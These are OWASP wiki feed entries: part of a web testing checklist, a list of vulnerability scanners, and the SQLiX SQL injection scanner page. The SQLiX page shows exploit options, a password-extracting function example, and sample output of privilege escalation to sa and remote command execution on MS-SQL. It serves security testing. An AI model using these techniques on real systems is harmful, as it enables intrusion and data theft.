* Compare client-side and server-side validation rules&lt;br /&gt;
* Test for HTTP parameter pollution&lt;br /&gt;
* Test for auto-binding&lt;br /&gt;
* Test for Mass Assignment&lt;br /&gt;
* Test for NULL/Invalid Session Cookie&lt;br /&gt;
* [[Test_integrity_checks_(OTG-BUSLOGIC-003) | Test for integrity of data]]&lt;br /&gt;
* [[Testing_for_the_Circumvention_of_Work_Flows_(OTG-BUSLOGIC-009) | Test for the Circumvention of Work Flows]]&lt;br /&gt;
* [[Test_defenses_against_application_mis-use_(OTG-BUSLOGIC-011) | Test Defenses Against Application Mis-use]]&lt;br /&gt;
* [[Test_number_of_times_a_function_can_be_used_limits_(OTG-BUSLOGIC-007) | Test That a Function or Feature Cannot Be Used Outside Of Limits]]&lt;br /&gt;
* [[Test_for_Process_Timing_(OTG-BUSLOGIC-007) | Test for Process Timing]]&lt;br /&gt;
* [[Test_Local_Storage_(OTG-CLIENT-012)|Test for Web Storage SQL injection (HTML5)]]&lt;br /&gt;
* [[HTML5_Security_Cheat_Sheet#Offline_Applications | Check Offline Web Application]]&lt;br /&gt;
&lt;br /&gt;
== Denial of Service ==&lt;br /&gt;
* Test for anti-automation&lt;br /&gt;
* [[Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)|Test for account lockout]]&lt;br /&gt;
* Test for HTTP protocol DoS&lt;br /&gt;
* Test for SQL wildcard DoS&lt;br /&gt;
&lt;br /&gt;
== Specific Risky Functionality ==&lt;br /&gt;
''File Uploads''&lt;br /&gt;
* [[Test_Upload_of_Unexpected_File_Types_(OTG-BUSLOGIC-008)|Test that acceptable file types are whitelisted and non-whitelisted types are rejected]]&lt;br /&gt;
* Test that file size limits, upload frequency and total file counts are defined and are enforced&lt;br /&gt;
* Test that file contents match the defined file type&lt;br /&gt;
* [[Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)|Test that all file uploads have anti-virus scanning in place]]&lt;br /&gt;
* [[Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-016) | Test upload of malicious files]]&lt;br /&gt;
* Test that unsafe filenames are sanitized&lt;br /&gt;
* Test that uploaded files are not directly accessible within the web root&lt;br /&gt;
* Test that uploaded files are not served on the same hostname/port&lt;br /&gt;
* Test that files and other media are integrated with the authentication and authorization schemas&lt;br /&gt;
''Payments''&lt;br /&gt;
* Test for known vulnerabilities and configuration issues on Web Server and Web Application&lt;br /&gt;
* Test for default or guessable password&lt;br /&gt;
* [[Injection_Flaws |Test for Injection vulnerabilities]]&lt;br /&gt;
* [[Testing_for_Buffer_Overflow_(OTG-INPVAL-014) |Test for Buffer Overflows]]&lt;br /&gt;
* [[Top_10_2010-A7-Insecure_Cryptographic_Storage |Test for Insecure Cryptographic Storage]]&lt;br /&gt;
* [[Top_10_2010-A9-Insufficient_Transport_Layer_Protection | Test for Insufficient Transport Layer Protection]]&lt;br /&gt;
* [[Web_Application_Security_Testing_Cheat_Sheet#Error_Handling|Test for Improper Error Handling]]&lt;br /&gt;
* Test for all vulnerabilities with a CVSS v2 score &amp;gt; 4.0&lt;br /&gt;
* Test for Authentication and Authorization issues&lt;br /&gt;
* [[Testing_for_CSRF_(OTG-SESS-005)|Test for CSRF]]&lt;br /&gt;
&lt;br /&gt;
== Error Handling==&lt;br /&gt;
* [[Testing_for_Error_Code_(OTG-ERR-001)|Check for Error Codes]]&lt;br /&gt;
* [[Testing_for_Stack_Traces_(OTG-ERR-002)|Check for Stack Traces]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Other Formats =&lt;br /&gt;
* DradisPro template format [https://github.com/raesene/OWASP_Web_App_Testing_Cheatsheet_Converter/blob/master/OWASP_Web_Application_Testing_Cheat_Sheet.xml on github]&lt;br /&gt;
* Asana template on [http://templana.com/templates/owasp-website-security-checklist/ Templana] (thanks to Bastien Siebman)&lt;br /&gt;
&lt;br /&gt;
= Authors and contributors =&lt;br /&gt;
&lt;br /&gt;
[[User:Simon Bennetts|Simon Bennetts]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Raesene|Rory McCune]] &amp;lt;br /&amp;gt;&lt;br /&gt;
Colin Watson&amp;lt;br /&amp;gt;&lt;br /&gt;
Simone Onofri&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Amro_Ahmed|Amro AlOlaqi]] &lt;br /&gt;
&lt;br /&gt;
All above are authors of the [[OWASP_Testing_Guide_v3_Table_of_Contents | Testing Guide v3]] &lt;br /&gt;
&lt;br /&gt;
[[User:Ryan_Dewhurst|Ryan Dewhurst]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Frank.catucci | Frank Catucci]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:VinMiller | Vin Miller]]&lt;br /&gt;
&lt;br /&gt;
= Related articles =&lt;br /&gt;
&lt;br /&gt;
* OWASP [[:Category:OWASP Testing Project|Testing Guide]]&lt;br /&gt;
* Mozilla [https://wiki.mozilla.org/WebAppSec/Web_Security_Verification Web Security Verification]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]] &lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_SQLiX_Project&amp;diff=230041</id>
		<title>Category:OWASP SQLiX Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_SQLiX_Project&amp;diff=230041"/>
				<updated>2017-05-25T18:51:26Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Added a date to be more clear.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:100px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Inactive_Projects]] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
'''NOTE:'''&lt;br /&gt;
&lt;br /&gt;
The project is currently under the process of porting from Perl to Python. The next version will be released soon!&amp;lt;br /&amp;gt;-- AnirudhAnand, 16 March 2014 &lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
SQLiX is a [[SQL Injection]] scanner coded in Perl. It is able to crawl, detect SQL injection vectors, identify the back-end database, and grab function call/UDF results (even execute system commands for MS-SQL). The concepts in use are different than the one used in other SQL injection scanners. SQLiX is able to find normal and blind SQL injection vectors and doesn't need to reverse engineer the original SQL request (using only function calls).&lt;br /&gt;
&lt;br /&gt;
If you are a developer interested in remediating or avoiding the kinds of SQL injection vulnerabilities this tool can find, check out the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
'''SQLiX''' is a '''[[SQL Injection]] scanner''' which attempts to fill the gap between what commercial software available on the market can do and what can really be done to detect and identify SQL injection.&lt;br /&gt;
&lt;br /&gt;
Current injection methods used by commercial web assessment software are based on error generation or statement injections.&lt;br /&gt;
&lt;br /&gt;
'''error generation:'''&lt;br /&gt;
&lt;br /&gt;
The error generation method is quite simple and is based on meta characters like single quotes or double quotes.&lt;br /&gt;
By injecting these characters in the original SQL request, you generate a syntax error which could result in an SQL error message displayed in the HTTP reply.&lt;br /&gt;
The main issue with this technique is the fact that it's only based on pattern matching.&lt;br /&gt;
There is no way to handle multiple languages or complex behaviors when the error message is filtered by the server-side scripts.&lt;br /&gt;
&lt;br /&gt;
'''statement injection:'''&lt;br /&gt;
&lt;br /&gt;
The second method used is statement injection. Let's look at an example:&lt;br /&gt;
 &lt;br /&gt;
The target URL&lt;br /&gt;
 (0) is http://target.example.com/news.php?id=25.&lt;br /&gt;
&lt;br /&gt;
The scanner will try to compare the HTML content of the original request with the HTML content of&lt;br /&gt;
 &lt;br /&gt;
 (1) http://target.example.com/news.php?id=25%20or%201=1&lt;br /&gt;
 &lt;br /&gt;
 (2) http://target.example.com/news.php?id=25%20or%201=0&lt;br /&gt;
&lt;br /&gt;
If the request (1) provides the same result as request (0) and request (2) doesn't, the scanner will conclude that SQL injection is possible.&lt;br /&gt;
This method works fine, but is very limited by the syntax of the original request. If the original request contains parentheses, store procedures or function calls, this method will rarely work.&lt;br /&gt;
Worse, if the variable is used by multiple SQL requests, all with different syntaxes, there is no automatic way to make them all work simultaneously.&lt;br /&gt;
&lt;br /&gt;
Frequently you will see more advanced scanners like SQLBrute from [http://www.justinclarke.com www.justinclarke.com] trying to reverse engineer the original SQL syntax by injecting multiple requests with different sets of parentheses or comas.&lt;br /&gt;
This method is a little more time consuming but does provide better results (for free), especially when error messages are not displayed.&lt;br /&gt;
&lt;br /&gt;
Another global issue concerning SQL injection is the fact that pen testers frequently conclude that a given SQL injection vulnerability can't be exploited.&lt;br /&gt;
By concluding this incorrect statement they are inviting their customers to not patch the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP SQLiX is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is SQLiX? ==&lt;br /&gt;
&lt;br /&gt;
OWASP SQLiX  provides:&lt;br /&gt;
&lt;br /&gt;
* SQLiX uses multiple techniques to determine if the current server-side script is vulnerable to SQL Injection&lt;br /&gt;
** conditional errors injection&lt;br /&gt;
** blind injection based on integers, strings or statements&lt;br /&gt;
** MS-SQL verbose error messages (&amp;quot;taggy&amp;quot; method)&lt;br /&gt;
* SQLiX using UDF (User defined functions) or function calls thus no need to reverse engineer the original SQL syntax&lt;br /&gt;
* SQLix is able to identify the database version and gather sensitive information for the following SQL servers: MS-Access, MS-SQL, MySQL, Oracle and PostgreSQL.&lt;br /&gt;
* The comparison module of SQLiX is able to deal with complex HTML contents even when they include dynamic ads&lt;br /&gt;
* SQLiX contains an exploit module to demonstrate how a hacker could exploit the found SQL injection to gather sensitive information&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Presentation ==&lt;br /&gt;
&lt;br /&gt;
Link to presentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Project Leader == &lt;br /&gt;
&lt;br /&gt;
Anirudh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; | &lt;br /&gt;
&lt;br /&gt;
== Quick Download ==&lt;br /&gt;
&lt;br /&gt;
OWASP SQLiX v1.0 is available for download [http://cedri.cc/tools/SQLiX_v1.0.tar.gz '''here'''] or [http://www.mediafire.com/?5lbt0tb1jee '''here'''].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [20 Nov 2013] News 2&lt;br /&gt;
* [30 Sep 2013] News 1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== In Print ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_CODE.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Requirements=&lt;br /&gt;
Perl with the following dependencies:&lt;br /&gt;
&lt;br /&gt;
WWW::CheckSite&lt;br /&gt;
&lt;br /&gt;
Tie::CharArray&lt;br /&gt;
&lt;br /&gt;
      perl -MCPAN -e 'install WWW::CheckSite'&lt;br /&gt;
      perl -MCPAN -e 'install Tie::CharArray'&lt;br /&gt;
&lt;br /&gt;
= Command line usage =&lt;br /&gt;
&lt;br /&gt;
'''Usage: SQLiX.pl [options]'''&lt;br /&gt;
 -help                              Show this help&lt;br /&gt;
&lt;br /&gt;
Target specification:&lt;br /&gt;
 -url [URL]                         Scan a given URL.&lt;br /&gt;
                                      Example: -url=&amp;quot;http://target.com/index.php?id=1&amp;quot;&lt;br /&gt;
 --post_content [CONTENT]           Add a content to the current [URL]&lt;br /&gt;
                                      and change the HTTP method to POST&lt;br /&gt;
 -file [FILE_NAME]                  Scan a list of URI provided via a flat file.&lt;br /&gt;
                                      Example: -file=&amp;quot;./crawling&amp;quot;&lt;br /&gt;
 -crawl [ROOT_URL]                  Scan a web site from the given root URL.&lt;br /&gt;
                                      Example: -crawl=&amp;quot;http://target.com/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Injection vectors:&lt;br /&gt;
 -referer                           Use HTTP referer as a potential injection vector.&lt;br /&gt;
 -agent                             Use HTTP User agent as a potential injection vector.&lt;br /&gt;
 -cookie [COOKIE]                   Use the cookie as a potential injection vector.&lt;br /&gt;
                                      Cookie value has to be specified and the injection area&lt;br /&gt;
                                      tagged as &amp;quot;--INJECT_HERE--&amp;quot;.&lt;br /&gt;
                                      Example: -cookie=&amp;quot;userID=--INJECT_HERE--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Injection methods:&lt;br /&gt;
 -all                               Use all the injection methods.&lt;br /&gt;
 -method_taggy                      Use MS-SQL &amp;quot;verbose&amp;quot; error messages method.&lt;br /&gt;
 -method_error                      Use conditional error messages injection method.&lt;br /&gt;
 -method_blind                      Use all blind injection methods.&lt;br /&gt;
 -method_blind_integer              Use integer blind injection method.&lt;br /&gt;
 -method_blind_string               Use string blind injection method.&lt;br /&gt;
 -method_blind_statement            Use statement blind injection method.&lt;br /&gt;
 -method_blind_comment              Use MySQL comment blind injection method.&lt;br /&gt;
&lt;br /&gt;
Attack modules:&lt;br /&gt;
 -exploit                           Exploit the found injection to extract information.&lt;br /&gt;
                                      by default the version of the database will be retrieved&lt;br /&gt;
 -function [function]               Used with exploit to retrieve a given function value.&lt;br /&gt;
                                      Example: -function=&amp;quot;system_user&amp;quot;&lt;br /&gt;
                                      Example: -function=&amp;quot;(select password from user_table)&amp;quot;&lt;br /&gt;
 -union                             Analyse target for potential UNION attack [MS-SQL only].&lt;br /&gt;
&lt;br /&gt;
MS-SQL System command injection:&lt;br /&gt;
 -cmd [COMMAND]                     System command to be executed.&lt;br /&gt;
                                      Example: -cmd=&amp;quot;dir c:\\&amp;quot;&lt;br /&gt;
 -login [LOGIN]                     MS-SQL login to use if known.&lt;br /&gt;
 -password [PASSWORD]               MS-SQL password to use if known.&lt;br /&gt;
&lt;br /&gt;
Verbosity:&lt;br /&gt;
 -v=[n]                             Verbose mode level&lt;br /&gt;
                                      v=0 =&amp;gt; no output, only results are displayed at the end&lt;br /&gt;
                                      v=2 =&amp;gt; realtime display, provide minimum result info&lt;br /&gt;
                                      v=5 =&amp;gt; debug view [all url,content and headers are displayed]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Output example =&lt;br /&gt;
&lt;br /&gt;
*'''MS-SQL System command execution''' &lt;br /&gt;
&lt;br /&gt;
 $ perl SQLiX.pl -file crawling -all -v=2 -exploit -cmd=&amp;quot;dir c:\\&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 ======================================================&lt;br /&gt;
                    -- SQLiX --&lt;br /&gt;
  © Copyright 2006 Cedric COCHIN, All Rights Reserved.&lt;br /&gt;
 ======================================================&lt;br /&gt;
 &lt;br /&gt;
 Analysing URI obtained by flat file [crawling]&lt;br /&gt;
  http://www.target.example.com/DocumentDescription-HR.asp?DocID=2&lt;br /&gt;
       [+] working on DocID&lt;br /&gt;
             [+] Method: MS-SQL error message&lt;br /&gt;
                   [FOUND] MS-SQL error message (implicite without quotes)&lt;br /&gt;
                   [FOUND] function [@@version]:&lt;br /&gt;
                           Microsoft SQL Server  2000 - 8.00.534 (Intel X86) &lt;br /&gt;
                                  Nov 19 2001 13:23:50 &lt;br /&gt;
                                  Copyright (c) 1988-2000 Microsoft Corporation&lt;br /&gt;
                                  Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)&lt;br /&gt;
                   [INFO] System command injector:&lt;br /&gt;
                   [INFO] Current database: HR&lt;br /&gt;
                   [INFO] We are not sysadmin for now&lt;br /&gt;
                   [INFO] Checking OpenRowSet availibility - please wait...&lt;br /&gt;
                         [INFO] Current user login: [HR]&lt;br /&gt;
                         [FOUND] OPENROWSET available - (login [sa] | password [sa])&lt;br /&gt;
                         [INFO] Privilege escalation - from [HR] to [sa]&lt;br /&gt;
                                 &lt;br /&gt;
                         ===========================================================================&lt;br /&gt;
 &lt;br /&gt;
                         Volume in drive C has no label.&lt;br /&gt;
                         Volume Serial Number is 00BC-6F73&lt;br /&gt;
                                 &lt;br /&gt;
                         Directory of c:\&lt;br /&gt;
                                 &lt;br /&gt;
                         11/21/2005  06:36p      &amp;lt;DIR&amp;gt;          403679d1f6ca54e5384256556434111d&lt;br /&gt;
                         07/14/2006  10:49a      &amp;lt;DIR&amp;gt;          Documents and Settings&lt;br /&gt;
                         07/22/2005  02:21p      &amp;lt;DIR&amp;gt;          honeypot&lt;br /&gt;
                         07/21/2005  04:38p      &amp;lt;DIR&amp;gt;          iDefense&lt;br /&gt;
                         03/08/2002  08:23a      &amp;lt;DIR&amp;gt;          Inetpub&lt;br /&gt;
                         07/14/2006  03:21p      &amp;lt;DIR&amp;gt;          Program Files&lt;br /&gt;
                         08/07/2006  04:11p                 622 tmp.txt&lt;br /&gt;
                         11/28/2005  06:06p      &amp;lt;DIR&amp;gt;          WINNT&lt;br /&gt;
                                        1 File(s)            622 bytes&lt;br /&gt;
                                        7 Dir(s)     183,328,768 bytes free&lt;br /&gt;
                                 &lt;br /&gt;
                                  &lt;br /&gt;
                         ===========================================================================&lt;br /&gt;
 &lt;br /&gt;
                   [FOUND] MS-SQL error message&lt;br /&gt;
  &lt;br /&gt;
 RESULTS:&lt;br /&gt;
 The variable [DocID] from [ http://www.target.example.com/DocumentDescription-HR.asp?DocID=2 ] ...&lt;br /&gt;
    ... is vulnerable to SQL Injection [TAG implicite without quotes - MSSQL].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*'''MySQL, PostgreSQL function Injection'''&lt;br /&gt;
&lt;br /&gt;
 $ perl SQLiX.pl -file crawling -all -v=2 -exploit&lt;br /&gt;
&lt;br /&gt;
 ======================================================&lt;br /&gt;
                    -- SQLiX --&lt;br /&gt;
  © Copyright 2006 Cedric COCHIN, All Rights Reserved.&lt;br /&gt;
 ======================================================&lt;br /&gt;
 &lt;br /&gt;
 Analysing URI obtained by flat file [crawling]&lt;br /&gt;
  http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2&lt;br /&gt;
       [+] working on DocID&lt;br /&gt;
             [+] Method: MS-SQL error message&lt;br /&gt;
             [+] Method: SQL error message&lt;br /&gt;
                   [FOUND] Match found INPUT:[user] - &amp;quot;Microsoft OLE DB Provider for ODBC Drivers&amp;quot;&lt;br /&gt;
                   [INFO] Error without quote&lt;br /&gt;
                   [INFO] Database identified: MySQL Server&lt;br /&gt;
                   [INFO] Current function: version()&lt;br /&gt;
                   [INFO] length: 19&lt;br /&gt;
                       4.1.20-community-nt&lt;br /&gt;
                   [FOUND] SQL error message&lt;br /&gt;
  http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2&lt;br /&gt;
       [+] working on DocID&lt;br /&gt;
             [+] Method: MS-SQL error message&lt;br /&gt;
             [+] Method: SQL error message&lt;br /&gt;
                   [FOUND] Match found INPUT:['] - &amp;quot;Microsoft OLE DB Provider for ODBC Drivers&amp;quot;&lt;br /&gt;
                   [INFO] Error without quote&lt;br /&gt;
                   [INFO] Database identified: PostgreSQL Server&lt;br /&gt;
                   [INFO] Current function: version()&lt;br /&gt;
                   [INFO] length: 88&lt;br /&gt;
                       PostgreSQL 8.0.7 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2&lt;br /&gt;
                   [FOUND] SQL error message&lt;br /&gt;
 &lt;br /&gt;
 RESULTS:&lt;br /&gt;
 The variable [DocID] from &lt;br /&gt;
   [ http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 ] ...&lt;br /&gt;
    ... is vulnerable to SQL Injection [Error message (user) - MySQL].&lt;br /&gt;
 The variable [DocID] from&lt;br /&gt;
   [ http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2 ] ...&lt;br /&gt;
    ... is vulnerable to SQL Injection [Error message (') - PostgreSQL].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Volunteers==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
As of XXX, the priorities are:&lt;br /&gt;
* xxx&lt;br /&gt;
* xxx&lt;br /&gt;
* xxx&lt;br /&gt;
&lt;br /&gt;
We hope you find the OWASP SQLiX Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to owasp@owasp.org.  To join the OWASP SQLiX Project mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-sqlix subscription page.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
==== Project Identification ====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_SQLiX_Project | OWASP Project Identification Tab}}}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project|SQLiX Project]]&lt;br /&gt;
[[Category:OWASP Download]]&lt;br /&gt;
[[Category:OWASP Tool]]&lt;br /&gt;
[[Category:SQL]]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Vulnerability_Scanning_Tools&amp;diff=228382</id>
		<title>Category:Vulnerability Scanning Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Vulnerability_Scanning_Tools&amp;diff=228382"/>
				<updated>2017-04-05T21:31:20Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description  ==&lt;br /&gt;
&lt;br /&gt;
Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as [[Cross-site scripting]], [[SQL Injection]], [[Command Injection]], [[Path Traversal]] and insecure server configuration. This category of tools is frequently referred to as [https://www.techopedia.com/definition/30958/dynamic-application-security-testing-dast Dynamic Application Security Testing] (DAST) Tools. A large number of both commercial and open source tools of this type are available and all of these tools have their own strengths and weaknesses.  If you are interested in the effectiveness of DAST tools, check out the OWASP [[Benchmark]] project, which is scientifically measuring the effectiveness of all types of vulnerability detection tools, including DAST.&lt;br /&gt;
&lt;br /&gt;
Here we provide a list of vulnerability scanning tools currently available in the market.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''Disclaimer:''' The tools listing in the table below are presented in an alphabetical order. &amp;lt;b&amp;gt;OWASP does not endorse any of the Vendors or Scanning Tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think this information is incomplete or incorrect, please send an e-mail to our [mailto:owasp_ha_vulnerability_scanner_project@lists.owasp.org mailing list] and we will make every effort to correct this information.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools Listing  ==&lt;br /&gt;
&lt;br /&gt;
{{:Template:OWASP Tool Headings}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.acunetix.com/ Acunetix WVS] || tool_owner = Acunetix || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www-03.ibm.com/software/products/en/appscan-standard AppScan] || tool_owner = IBM || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/ App Scanner] || tool_owner = Trustwave || tool_licence = Commercial || tool_platforms = Windows }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/appspider/ AppSpider] || tool_owner = Rapid7 || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.beyondsecurity.com/avds AVDS] || tool_owner = Beyond Security || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = N/A }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.blueclosure.com BlueClosure BC Detect] || tool_owner = BlueClosure || tool_licence = Commercial, 2 weeks trial || tool_platforms = Most platforms supported}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.portswigger.net/ Burp Suite] || tool_owner = PortSwiger || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Most platforms supported }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://contrastsecurity.com Contrast] || tool_owner = Contrast Security || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.gamasec.com/Gamascan.aspx GamaScan] || tool_owner = GamaSec || tool_licence = Commercial || tool_platforms = Windows }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://rgaucher.info/beta/grabber/ Grabber] || tool_owner = Romain Gaucher || tool_licence = Open Source || tool_platforms = Python 2.4, BeautifulSoup and PyXML}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://sourceforge.net/p/grendel/code/ci/c59780bfd41bdf34cc13b27bc3ce694fd3cb7456/tree/ Grendel-Scan] || tool_owner = David Byrne || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.golismero.com GoLismero] || tool_owner = GoLismero Team || tool_licence = GPLv2.0 || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.ikare-monitoring.com/ IKare] || tool_owner = ITrust || tool_licence = Commercial || tool_platforms = N/A }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.indusface.com/index.php/products/web-application-scanning Indusface Web Application Scanning] || tool_owner = Indusface || tool_licence = Commercial || tool_platforms = SaaS}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.nstalker.com/ N-Stealth] || tool_owner = N-Stalker || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.mavitunasecurity.com/ Netsparker] || tool_owner = MavitunaSecurity || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/nexpose-community-edition.jsp Nexpose] || tool_owner = Rapid7 || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Windows/Linux}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.cirt.net/nikto2 Nikto] || tool_owner = CIRT || tool_licence = Open Source|| tool_platforms = Unix/Linux}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.milescan.com/ ParosPro] || tool_owner = MileSCAN || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/proxy.html Proxy.app] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}&lt;br /&gt;
